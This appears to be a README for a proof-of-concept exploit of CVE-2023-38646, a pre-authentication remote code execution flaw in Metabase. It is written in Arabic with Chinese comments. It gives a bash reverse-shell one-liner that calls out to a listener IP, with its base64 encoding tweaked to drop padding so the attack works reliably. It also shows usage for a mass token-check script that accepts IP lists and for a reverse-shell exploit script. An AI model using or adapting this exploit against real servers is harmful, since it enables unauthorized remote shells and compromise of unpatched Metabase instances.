
استغلال إثبات المفهوم لـ CVE-2023-38646، وهو RCE قبل المصادقة في Metabase. يتضمن مولد حمولة قشرة عكسية مع إصلاح ترميز base64 للاستغلال الموثوق.
النص الأصلي مأخوذ من securezeron
خلال اختباراتي، وجدت أن الـ reverse shell الذي يولّده هذا الـ PoC يفشل في الاستغلال بسبب حرف '=' في النهاية بعد ترميز base6. قمت بتعديل بسيط عليه لحل هذه المشكلة.
#原始的生成reverse shell负载的代码
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
#修改后的生成reverse shell负载的代码没有‘=’
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
Check setup token
options:
-h, --help show this help message and exit
--ip IP IP address
--list LIST Filename containing list of IP addresses
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
Check setup token
options:
-h, --help show this help message and exit
--rhost RHOST Metabase server IP address (including http:// or https:// and port number if needed)
--lhost LHOST Listener IP address
--lport LPORT Listener port (default is 4444)
لمزيد من المعلومات حول الثغرة، انظر https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/